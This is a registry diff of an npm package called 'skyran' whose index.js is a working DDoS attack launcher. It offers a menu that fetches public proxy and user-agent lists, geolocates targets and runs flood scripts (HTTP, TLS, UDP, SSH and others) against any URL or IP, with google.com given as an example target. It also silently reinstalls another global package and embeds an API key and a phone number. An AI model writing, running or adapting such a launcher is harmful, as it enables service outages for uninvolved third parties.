skyran 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +453 -0
- package/lib/cache/StarsXMc.js +104 -0
- package/lib/cache/StarsXSSH.js +36 -0
- package/lib/cache/StarsXSamp.js +67 -0
- package/lib/cache/StarsXTemp.js +63 -0
- package/lib/cache/StarsXWiFi.js +64 -0
- package/lib/cache/bypass.js +3176 -0
- package/lib/cache/destroy.js +10292 -0
- package/lib/cache/flood.js +20 -0
- package/lib/cache/kill.js +297 -0
- package/lib/cache/rape.js +681 -0
- package/lib/cache/raw.js +50 -0
- package/lib/cache/storm.js +3185 -0
- package/lib/cache/strike.js +812 -0
- package/lib/cache/thunder.js +856 -0
- package/lib/cache/tls.js +262 -0
- package/lib/cache/udp.js +53 -0
- package/package.json +38 -0
- package/package.json.bak +37 -0
package/index.js
ADDED
|
@@ -0,0 +1,453 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
const { exec, spawn } = require('child_process')
|
|
4
|
+
const readline = require('readline')
|
|
5
|
+
const url = require('url')
|
|
6
|
+
const fs = require('fs')
|
|
7
|
+
const axios = require('axios')
|
|
8
|
+
const path = require('path')
|
|
9
|
+
const version = '5.1.7'
|
|
10
|
+
let processList = [];
|
|
11
|
+
|
|
12
|
+
const permen = readline.createInterface({
|
|
13
|
+
input: process.stdin,
|
|
14
|
+
output: process.stdout
|
|
15
|
+
})
|
|
16
|
+
// [========================================] //
|
|
17
|
+
function sleep(ms) {
|
|
18
|
+
return new Promise(resolve => setTimeout(resolve, ms));
|
|
19
|
+
}
|
|
20
|
+
// [========================================] //
|
|
21
|
+
async function banner() {
|
|
22
|
+
console.clear();
|
|
23
|
+
const text = '[ SkyranX-Mods Tools Ddos ]';
|
|
24
|
+
const text1 = 'WELCOME BACK TO TOOLS DDOS SKYRANXMODS';
|
|
25
|
+
const text2 = 'TYPE "HELP" FOR SHOWING ALL AVAILABLE COMMAND';
|
|
26
|
+
const text3 = 'Layer7 X Layer4';
|
|
27
|
+
|
|
28
|
+
const terminalWidth = process.stdout.columns;
|
|
29
|
+
|
|
30
|
+
const centeredText = text.padStart((terminalWidth + text.length) / 2);
|
|
31
|
+
const centeredText1 = text1.padStart((terminalWidth + text1.length) / 2);
|
|
32
|
+
const centeredText2 = text2.padStart((terminalWidth + text2.length) / 2);
|
|
33
|
+
const centeredText3 = text3.padStart((terminalWidth + text3.length) / 2);
|
|
34
|
+
|
|
35
|
+
console.log(`
|
|
36
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
37
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠳⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
38
|
+
⠀⠀⠀⠀⠀⠀⣀⡴⢧⣀⠀⠀⣀⣠⠤⠤⠤⠤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
39
|
+
⠀⠀⠀⠀⠀⠀⠀⠘⠏⢀⡴⠊⠁⠀⠀⠀⠀⠀⠀⠈⠙⠦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
40
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⣰⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢶⣶⣒⣶⠦⣤⣀⠀⠀
|
|
41
|
+
⠀⠀⠀⠀⠀⠀⢀⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣟⠲⡌⠙⢦⠈⢧⠀
|
|
42
|
+
⠀⠀⠀⣠⢴⡾⢟⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡴⢃⡠⠋⣠⠋ [ \x1b[1m\x1b[36mCreator : Skyran\x1b[0m ]
|
|
43
|
+
⠐⠀⠞⣱⠋⢰⠁⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⠤⢖⣋⡥⢖⣫⠔⠋ ⠀ [ \x1b[1m\x1b[36mVip : true\x1b[0m ]
|
|
44
|
+
⠈⠠⡀⠹⢤⣈⣙⠚⠶⠤⠤⠤⠴⠶⣒⣒⣚⣩⠭⢵⣒⣻⠭⢖⠏⠁⢀⣀⠀ [ \x1b[1m\x1b[36mPremium : true\x1b[0m ]
|
|
45
|
+
⠠⠀⠈⠓⠒⠦⠭⠭⠭⣭⠭⠭⠭⠭⠿⠓⠒⠛⠉⠉⠀⠀⣠⠏⠀⠀⠘⠞⠀⠀ ⠀[ \x1b[1m\x1b[36mTelegram : t.me/SkyR4n\x1b[0m ]
|
|
46
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⢤⣀⠀⠀⠀⠀⠀⠀⣀⡤⠞⠁⠀⣰⣆⠀⠀⠀ ⠀⠀[ \x1b[1m\x1b[36mWhatsApp : 0857-8063-7142\x1b[0m ]
|
|
47
|
+
⠀⠀⠀⠀⠀⠘⠿⠀⠀⠀⠀⠀⠈⠉⠙⠒⠒⠛⠉⠁⠀⠀⠀⠉⢳⡞⠉⠀⠀ ⠀ [ \x1b[1m\x1b[36mTimeLimit : 99999\x1b[0m ]
|
|
48
|
+
-----------------------------------------------------------------
|
|
49
|
+
\x1b[1m\x1b[36m${centeredText3}\x1b[0m
|
|
50
|
+
\x1b[1m\x1b[36m${centeredText}\x1b[0m
|
|
51
|
+
\x1b[1m\x1b[36m${centeredText1}\x1b[0m
|
|
52
|
+
\x1b[1m\x1b[36m${centeredText2}\x1b[0m`);
|
|
53
|
+
}
|
|
54
|
+
// [========================================] //
|
|
55
|
+
|
|
56
|
+
async function scrapeProxy() {
|
|
57
|
+
try {
|
|
58
|
+
const response = await fetch('https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt');
|
|
59
|
+
const data = await response.text();
|
|
60
|
+
fs.writeFileSync('proxy.txt', data, 'utf-8');
|
|
61
|
+
} catch (error) {
|
|
62
|
+
console.error(`Error fetching data: ${error.message}`);
|
|
63
|
+
}
|
|
64
|
+
}
|
|
65
|
+
// [========================================] //
|
|
66
|
+
async function scrapeUserAgent() {
|
|
67
|
+
try {
|
|
68
|
+
const response = await fetch('https://gist.githubusercontent.com/pzb/b4b6f57144aea7827ae4/raw/cf847b76a142955b1410c8bcef3aabe221a63db1/user-agents.txt');
|
|
69
|
+
const data = await response.text();
|
|
70
|
+
fs.writeFileSync('ua.txt', data, 'utf-8');
|
|
71
|
+
} catch (error) {
|
|
72
|
+
console.error(`Error fetching data: ${error.message}`);
|
|
73
|
+
}
|
|
74
|
+
}
|
|
75
|
+
// [========================================] //
|
|
76
|
+
function clearProxy() {
|
|
77
|
+
if (fs.existsSync('proxy.txt')) {
|
|
78
|
+
fs.unlinkSync('proxy.txt');
|
|
79
|
+
}
|
|
80
|
+
}
|
|
81
|
+
// [========================================] //
|
|
82
|
+
function clearUserAgent() {
|
|
83
|
+
if (fs.existsSync('ua.txt')) {
|
|
84
|
+
fs.unlinkSync('ua.txt');
|
|
85
|
+
}
|
|
86
|
+
}
|
|
87
|
+
// [========================================] //
|
|
88
|
+
async function bootup() {
|
|
89
|
+
try {
|
|
90
|
+
console.log(`Loading, please wait...`);
|
|
91
|
+
|
|
92
|
+
await exec(`npm i axios tls http2 hpack net cluster crypto ssh2 dgram @whiskeysockets/baileys libphonenumber-js chalk gradient-string pino mineflayer proxy-agent`);
|
|
93
|
+
|
|
94
|
+
const getLatestVersion = await fetch('https://raw.githubusercontent.com/permenmd/cache/main/version.txt');
|
|
95
|
+
const latestVersion = await getLatestVersion.text();
|
|
96
|
+
|
|
97
|
+
if (version === latestVersion.trim()) {
|
|
98
|
+
await scrapeProxy();
|
|
99
|
+
await scrapeUserAgent();
|
|
100
|
+
await sleep(700);
|
|
101
|
+
console.clear();
|
|
102
|
+
await sleep(1000);
|
|
103
|
+
await banner();
|
|
104
|
+
sigma();
|
|
105
|
+
} else {
|
|
106
|
+
await exec(`npm uninstall -g prmnmd-tuls`);
|
|
107
|
+
await exec(`npm i -g prmnmd-tuls`);
|
|
108
|
+
process.exit();
|
|
109
|
+
}
|
|
110
|
+
} catch (error) {
|
|
111
|
+
// Handle error silently or with custom error handling logic.
|
|
112
|
+
}
|
|
113
|
+
}
|
|
114
|
+
// [========================================] //
|
|
115
|
+
async function trackIP(args) {
|
|
116
|
+
if (args.length < 1) {
|
|
117
|
+
console.log(`Example: TRACK-IP <ip address>
|
|
118
|
+
TRACK-IP 1.1.1.1`);
|
|
119
|
+
sigma();
|
|
120
|
+
return
|
|
121
|
+
}
|
|
122
|
+
const [target] = args
|
|
123
|
+
if (target === '0.0.0.0') {
|
|
124
|
+
console.log(`Jangan Di Ulangi Manis Nanti Di Delete User Mu`)
|
|
125
|
+
sigma()
|
|
126
|
+
} else {
|
|
127
|
+
try {
|
|
128
|
+
const apiKey = '8fd0a436e74f44a7a3f94edcdd71c696';
|
|
129
|
+
const response = await fetch(`https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${target}`);
|
|
130
|
+
const res = await fetch(`https://ipwho.is/${target}`);
|
|
131
|
+
const additionalInfo = await res.json();
|
|
132
|
+
const ipInfo = await response.json();
|
|
133
|
+
|
|
134
|
+
console.clear()
|
|
135
|
+
console.log(`⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
136
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠳⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
137
|
+
⠀⠀⠀⠀⠀⠀⣀⡴⢧⣀⠀⠀⣀⣠⠤⠤⠤⠤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
138
|
+
⠀⠀⠀⠀⠀⠀⠀⠘⠏⢀⡴⠊⠁⠀⠀⠀⠀⠀⠀⠈⠙⠦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
139
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⣰⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢶⣶⣒⣶⠦⣤⣀⠀⠀
|
|
140
|
+
⠀⠀⠀⠀⠀⠀⢀⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣟⠲⡌⠙⢦⠈⢧⠀
|
|
141
|
+
⠀⠀⠀⣠⢴⡾⢟⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡴⢃⡠⠋⣠⠋ [ \x1b[1m\x1b[36mCreator : Skyran\x1b[0m ]
|
|
142
|
+
⠐⠀⠞⣱⠋⢰⠁⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⠤⢖⣋⡥⢖⣫⠔⠋ ⠀ [ \x1b[1m\x1b[36mVip : true\x1b[0m ]
|
|
143
|
+
⠈⠠⡀⠹⢤⣈⣙⠚⠶⠤⠤⠤⠴⠶⣒⣒⣚⣩⠭⢵⣒⣻⠭⢖⠏⠁⢀⣀⠀ [ \x1b[1m\x1b[36mPremium : true\x1b[0m ]
|
|
144
|
+
⠠⠀⠈⠓⠒⠦⠭⠭⠭⣭⠭⠭⠭⠭⠿⠓⠒⠛⠉⠉⠀⠀⣠⠏⠀⠀⠘⠞⠀⠀ ⠀[ \x1b[1m\x1b[36mTelegram : t.me/SkyR4n\x1b[0m ]
|
|
145
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⢤⣀⠀⠀⠀⠀⠀⠀⣀⡤⠞⠁⠀⣰⣆⠀⠀⠀ ⠀⠀[ \x1b[1m\x1b[36mWhatsApp : 0857-8063-7142\x1b[0m ]
|
|
146
|
+
⠀⠀⠀⠀⠀⠘⠿⠀⠀⠀⠀⠀⠈⠉⠙⠒⠒⠛⠉⠁⠀⠀⠀⠉⢳⡞⠉⠀⠀ ⠀ [ \x1b[1m\x1b[36mTimeLimit : 99999\x1b[0m ]
|
|
147
|
+
|
|
148
|
+
KETIK \x1b[1m\x1b[36m"CLS"\x1b[0m UNTUK KEMBALI KE MENU AWAL
|
|
149
|
+
-----------------------------------------------------------------
|
|
150
|
+
- Flags: ${ipInfo.country_flag}
|
|
151
|
+
- Country: ${ipInfo.country_name}
|
|
152
|
+
- Capital: ${ipInfo.country_capital}
|
|
153
|
+
- City: ${ipInfo.city}
|
|
154
|
+
- ISP: ${ipInfo.isp}
|
|
155
|
+
- Organization: ${ipInfo.organization}
|
|
156
|
+
- lat: ${ipInfo.latitude}
|
|
157
|
+
- long: ${ipInfo.longitude}`)
|
|
158
|
+
sigma()
|
|
159
|
+
} catch (error) {
|
|
160
|
+
console.log(`Error Tracking ${target}`)
|
|
161
|
+
sigma()
|
|
162
|
+
}
|
|
163
|
+
}
|
|
164
|
+
};
|
|
165
|
+
// [========================================] //
|
|
166
|
+
async function pushOngoing(target, methods, duration) {
|
|
167
|
+
const startTime = Date.now();
|
|
168
|
+
processList.push({ target, methods, startTime, duration })
|
|
169
|
+
setTimeout(() => {
|
|
170
|
+
const index = processList.findIndex((p) => p.methods === methods);
|
|
171
|
+
if (index !== -1) {
|
|
172
|
+
processList.splice(index, 1);
|
|
173
|
+
}
|
|
174
|
+
}, duration * 1000);
|
|
175
|
+
}
|
|
176
|
+
// [========================================] //
|
|
177
|
+
function ongoingAttack() {
|
|
178
|
+
console.log("\nOngoing Attack:\n");
|
|
179
|
+
processList.forEach((process) => {
|
|
180
|
+
console.log(`Target: ${process.target}
|
|
181
|
+
Methods: ${process.methods}
|
|
182
|
+
Duration: ${process.duration} Seconds
|
|
183
|
+
Since: ${Math.floor((Date.now() - process.startTime) / 1000)} seconds ago\n`);
|
|
184
|
+
});
|
|
185
|
+
}
|
|
186
|
+
// [========================================] //
|
|
187
|
+
async function handleAttackCommand(args) {
|
|
188
|
+
if (args.length < 3) {
|
|
189
|
+
console.log(`Example: ATTACK <target> <duration> <methods>
|
|
190
|
+
ATTACK https://google.com 120 FLOOD`);
|
|
191
|
+
sigma();
|
|
192
|
+
return
|
|
193
|
+
}
|
|
194
|
+
const [target, duration, methods] = args
|
|
195
|
+
try {
|
|
196
|
+
const parsing = new url.URL(target)
|
|
197
|
+
const hostname = parsing.hostname
|
|
198
|
+
const scrape = await axios.get(`http://ip-api.com/json/${hostname}?fields=isp,query,as`)
|
|
199
|
+
const result = scrape.data;
|
|
200
|
+
|
|
201
|
+
console.clear()
|
|
202
|
+
console.log(`
|
|
203
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
204
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠳⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
205
|
+
⠀⠀⠀⠀⠀⠀⣀⡴⢧⣀⠀⠀⣀⣠⠤⠤⠤⠤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
206
|
+
⠀⠀⠀⠀⠀⠀⠀⠘⠏⢀⡴⠊⠁⠀⠀⠀⠀⠀⠀⠈⠙⠦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
207
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⣰⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢶⣶⣒⣶⠦⣤⣀⠀⠀
|
|
208
|
+
⠀⠀⠀⠀⠀⠀⢀⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣟⠲⡌⠙⢦⠈⢧⠀
|
|
209
|
+
⠀⠀⠀⣠⢴⡾⢟⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡴⢃⡠⠋⣠⠋ [ \x1b[1m\x1b[36mCreator : Skyran\x1b[0m ]
|
|
210
|
+
⠐⠀⠞⣱⠋⢰⠁⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⠤⢖⣋⡥⢖⣫⠔⠋ ⠀ [ \x1b[1m\x1b[36mVip : true\x1b[0m ]
|
|
211
|
+
⠈⠠⡀⠹⢤⣈⣙⠚⠶⠤⠤⠤⠴⠶⣒⣒⣚⣩⠭⢵⣒⣻⠭⢖⠏⠁⢀⣀⠀ [ \x1b[1m\x1b[36mPremium : true\x1b[0m ]
|
|
212
|
+
⠠⠀⠈⠓⠒⠦⠭⠭⠭⣭⠭⠭⠭⠭⠿⠓⠒⠛⠉⠉⠀⠀⣠⠏⠀⠀⠘⠞⠀⠀ ⠀[ \x1b[1m\x1b[36mTelegram : t.me/SkyR4n\x1b[0m ]
|
|
213
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⢤⣀⠀⠀⠀⠀⠀⠀⣀⡤⠞⠁⠀⣰⣆⠀⠀⠀ ⠀⠀[ \x1b[1m\x1b[36mWhatsApp : 0857-8063-7142\x1b[0m ]
|
|
214
|
+
⠀⠀⠀⠀⠀⠘⠿⠀⠀⠀⠀⠀⠈⠉⠙⠒⠒⠛⠉⠁⠀⠀⠀⠉⢳⡞⠉⠀⠀ ⠀ [ \x1b[1m\x1b[36mTimeLimit : 99999\x1b[0m ]
|
|
215
|
+
|
|
216
|
+
KETIK \x1b[1m\x1b[36m"CLS"\x1b[0m UNTUK KEMBALI KE MENU AWAL
|
|
217
|
+
-----------------------------------------------------------------
|
|
218
|
+
Target : ${target}
|
|
219
|
+
Duration : ${duration}
|
|
220
|
+
Methods : ${methods}
|
|
221
|
+
ISP : ${result.isp}
|
|
222
|
+
Ip : ${result.query}
|
|
223
|
+
AS : ${result.as}
|
|
224
|
+
`)
|
|
225
|
+
} catch (error) {
|
|
226
|
+
console.log(`Oops Something Went wrong`)
|
|
227
|
+
}
|
|
228
|
+
const metode = path.join(__dirname, `/lib/cache/${methods}`);
|
|
229
|
+
if (methods === 'FLOOD') {
|
|
230
|
+
pushOngoing(target, methods, duration)
|
|
231
|
+
exec(`node ${metode} ${target} ${duration}`)
|
|
232
|
+
sigma()
|
|
233
|
+
} else if (methods === 'TLS') {
|
|
234
|
+
pushOngoing(target, methods, duration)
|
|
235
|
+
exec(`node ${metode} ${target} ${duration} 100 10`)
|
|
236
|
+
sigma()
|
|
237
|
+
} else if (methods === 'STRIKE') {
|
|
238
|
+
pushOngoing(target, methods, duration)
|
|
239
|
+
exec(`node ${metode} GET ${target} ${duration} 10 90 proxy.txt --full`)
|
|
240
|
+
sigma()
|
|
241
|
+
} else if (methods === 'KILL') {
|
|
242
|
+
pushOngoing(target, methods, duration)
|
|
243
|
+
exec(`node ${metode} ${target} ${duration} 100 10`)
|
|
244
|
+
sigma()
|
|
245
|
+
} else if (methods === 'BYPASS') {
|
|
246
|
+
pushOngoing(target, methods, duration)
|
|
247
|
+
exec(`node ${metode} ${target} ${duration} 100 10 proxy.txt`)
|
|
248
|
+
sigma()
|
|
249
|
+
} else if (methods === 'RAW') {
|
|
250
|
+
pushOngoing(target, methods, duration)
|
|
251
|
+
exec(`node ${metode} ${target} ${duration}`)
|
|
252
|
+
sigma()
|
|
253
|
+
} else if (methods === 'THUNDER') {
|
|
254
|
+
pushOngoing(target, methods, duration)
|
|
255
|
+
exec(`node ${metode} ${target} ${duration} 100 10 proxy.txt`)
|
|
256
|
+
sigma()
|
|
257
|
+
} else if (methods === 'RAPE') {
|
|
258
|
+
pushOngoing(target, methods, duration)
|
|
259
|
+
exec(`node ${metode} ${duration} 10 proxy.txt 70 ${target}`)
|
|
260
|
+
sigma()
|
|
261
|
+
} else if (methods === 'STORM') {
|
|
262
|
+
pushOngoing(target, methods, duration)
|
|
263
|
+
exec(`node ${metode} ${target} ${duration} 100 10 proxy.txt`)
|
|
264
|
+
sigma()
|
|
265
|
+
} else if (methods === 'DESTROY') {
|
|
266
|
+
pushOngoing(target, methods, duration)
|
|
267
|
+
exec(`node ${metode} ${target} ${duration} 100 10 proxy.txt`)
|
|
268
|
+
sigma()
|
|
269
|
+
} else if (methods === 'SLIM') {
|
|
270
|
+
pushOngoing(target, methods, duration)
|
|
271
|
+
const destroy = path.join(__dirname, `/lib/cache/destroy`);
|
|
272
|
+
const storm = path.join(__dirname, `/lib/cache/storm`);
|
|
273
|
+
const rape = path.join(__dirname, `/lib/cache/rape`);
|
|
274
|
+
exec(`node ${destroy} ${target} ${duration} 100 1 proxy.txt`)
|
|
275
|
+
exec(`node ${storm} ${target} ${duration} 100 1 proxy.txt`)
|
|
276
|
+
exec(`node ${rape} ${duration} 1 proxy.txt 70 ${target}`)
|
|
277
|
+
sigma()
|
|
278
|
+
} else {
|
|
279
|
+
console.log(`Method ${methods} not recognized.`);
|
|
280
|
+
}
|
|
281
|
+
};
|
|
282
|
+
// [========================================] //
|
|
283
|
+
async function killSSH(args) {
|
|
284
|
+
if (args.length < 2) {
|
|
285
|
+
console.log(`Example: KILL-SSH <target> <duration>
|
|
286
|
+
kill-ssh 123.456.789.10 120`);
|
|
287
|
+
sigma();
|
|
288
|
+
return
|
|
289
|
+
}
|
|
290
|
+
const [target, duration] = args
|
|
291
|
+
try {
|
|
292
|
+
const scrape = await axios.get(`http://ip-api.com/json/${target}?fields=isp,query,as`)
|
|
293
|
+
const result = scrape.data;
|
|
294
|
+
|
|
295
|
+
console.clear()
|
|
296
|
+
console.log(`
|
|
297
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
298
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠳⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
299
|
+
⠀⠀⠀⠀⠀⠀⣀⡴⢧⣀⠀⠀⣀⣠⠤⠤⠤⠤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
300
|
+
⠀⠀⠀⠀⠀⠀⠀⠘⠏⢀⡴⠊⠁⠀⠀⠀⠀⠀⠀⠈⠙⠦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
301
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⣰⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢶⣶⣒⣶⠦⣤⣀⠀⠀
|
|
302
|
+
⠀⠀⠀⠀⠀⠀⢀⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣟⠲⡌⠙⢦⠈⢧⠀
|
|
303
|
+
⠀⠀⠀⣠⢴⡾⢟⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡴⢃⡠⠋⣠⠋ [ \x1b[1m\x1b[36mCreator : Skyran\x1b[0m ]
|
|
304
|
+
⠐⠀⠞⣱⠋⢰⠁⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⠤⢖⣋⡥⢖⣫⠔⠋ ⠀ [ \x1b[1m\x1b[36mVip : true\x1b[0m ]
|
|
305
|
+
⠈⠠⡀⠹⢤⣈⣙⠚⠶⠤⠤⠤⠴⠶⣒⣒⣚⣩⠭⢵⣒⣻⠭⢖⠏⠁⢀⣀⠀ [ \x1b[1m\x1b[36mPremium : true\x1b[0m ]
|
|
306
|
+
⠠⠀⠈⠓⠒⠦⠭⠭⠭⣭⠭⠭⠭⠭⠿⠓⠒⠛⠉⠉⠀⠀⣠⠏⠀⠀⠘⠞⠀⠀ ⠀[ \x1b[1m\x1b[36mTelegram : t.me/SkyR4n\x1b[0m ]
|
|
307
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⢤⣀⠀⠀⠀⠀⠀⠀⣀⡤⠞⠁⠀⣰⣆⠀⠀⠀ ⠀⠀[ \x1b[1m\x1b[36mWhatsApp : 0857-8063-7142\x1b[0m ]
|
|
308
|
+
⠀⠀⠀⠀⠀⠘⠿⠀⠀⠀⠀⠀⠈⠉⠙⠒⠒⠛⠉⠁⠀⠀⠀⠉⢳⡞⠉⠀⠀ ⠀ [ \x1b[1m\x1b[36mTimeLimit : 99999\x1b[0m ]
|
|
309
|
+
|
|
310
|
+
KETIK \x1b[1m\x1b[36m"CLS"\x1b[0m UNTUK KEMBALI KE MENU AWAL
|
|
311
|
+
-----------------------------------------------------------------
|
|
312
|
+
Target : ${target}
|
|
313
|
+
Duration : ${duration}
|
|
314
|
+
ISP : ${result.isp}
|
|
315
|
+
Ip : ${result.query}
|
|
316
|
+
AS : ${result.as}
|
|
317
|
+
`)
|
|
318
|
+
} catch (error) {
|
|
319
|
+
console.log(`Oops Something Went Wrong`)
|
|
320
|
+
}
|
|
321
|
+
|
|
322
|
+
const metode = path.join(__dirname, `/lib/cache/StarsXSSH`);
|
|
323
|
+
exec(`node ${metode} ${target} 22 root ${duration}`)
|
|
324
|
+
sigma()
|
|
325
|
+
};
|
|
326
|
+
// [========================================] //
|
|
327
|
+
async function udp_flood(args) {
|
|
328
|
+
if (args.length < 3) {
|
|
329
|
+
console.log(`Example: UDP-RAW <target> <port> <duration>
|
|
330
|
+
udp-raw 123.456.78.910 22 300`);
|
|
331
|
+
sigma();
|
|
332
|
+
return
|
|
333
|
+
}
|
|
334
|
+
const [target, port, duration] = args
|
|
335
|
+
try {
|
|
336
|
+
console.clear()
|
|
337
|
+
console.log(`
|
|
338
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
339
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠳⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
340
|
+
⠀⠀⠀⠀⠀⠀⣀⡴⢧⣀⠀⠀⣀⣠⠤⠤⠤⠤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
341
|
+
⠀⠀⠀⠀⠀⠀⠀⠘⠏⢀⡴⠊⠁⠀⠀⠀⠀⠀⠀⠈⠙⠦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
342
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⣰⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢶⣶⣒⣶⠦⣤⣀⠀⠀
|
|
343
|
+
⠀⠀⠀⠀⠀⠀⢀⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣟⠲⡌⠙⢦⠈⢧⠀
|
|
344
|
+
⠀⠀⠀⣠⢴⡾⢟⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡴⢃⡠⠋⣠⠋ [ \x1b[1m\x1b[36mCreator : Skyran\x1b[0m ]
|
|
345
|
+
⠐⠀⠞⣱⠋⢰⠁⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⠤⢖⣋⡥⢖⣫⠔⠋ ⠀ [ \x1b[1m\x1b[36mVip : true\x1b[0m ]
|
|
346
|
+
⠈⠠⡀⠹⢤⣈⣙⠚⠶⠤⠤⠤⠴⠶⣒⣒⣚⣩⠭⢵⣒⣻⠭⢖⠏⠁⢀⣀⠀ [ \x1b[1m\x1b[36mPremium : true\x1b[0m ]
|
|
347
|
+
⠠⠀⠈⠓⠒⠦⠭⠭⠭⣭⠭⠭⠭⠭⠿⠓⠒⠛⠉⠉⠀⠀⣠⠏⠀⠀⠘⠞⠀⠀ ⠀[ \x1b[1m\x1b[36mTelegram : t.me/SkyR4n\x1b[0m ]
|
|
348
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⢤⣀⠀⠀⠀⠀⠀⠀⣀⡤⠞⠁⠀⣰⣆⠀⠀⠀ ⠀⠀[ \x1b[1m\x1b[36mWhatsApp : 0857-8063-7142\x1b[0m ]
|
|
349
|
+
⠀⠀⠀⠀⠀⠘⠿⠀⠀⠀⠀⠀⠈⠉⠙⠒⠒⠛⠉⠁⠀⠀⠀⠉⢳⡞⠉⠀⠀ ⠀ [ \x1b[1m\x1b[36mTimeLimit : 99999\x1b[0m ]
|
|
350
|
+
|
|
351
|
+
KETIK \x1b[1m\x1b[36m"CLS"\x1b[0m UNTUK KEMBALI KE MENU AWAL
|
|
352
|
+
-----------------------------------------------------------------
|
|
353
|
+
Target : ${target}
|
|
354
|
+
Duration : ${duration}
|
|
355
|
+
Methods : UDP Raw
|
|
356
|
+
Creator : SkyranXMods`)
|
|
357
|
+
} catch (error) {
|
|
358
|
+
console.log(`Oops Something Went Wrong`)
|
|
359
|
+
}
|
|
360
|
+
|
|
361
|
+
const metode = path.join(__dirname, `/lib/cache/udp`);
|
|
362
|
+
exec(`node ${metode} ${target} ${port} ${duration}`)
|
|
363
|
+
sigma()
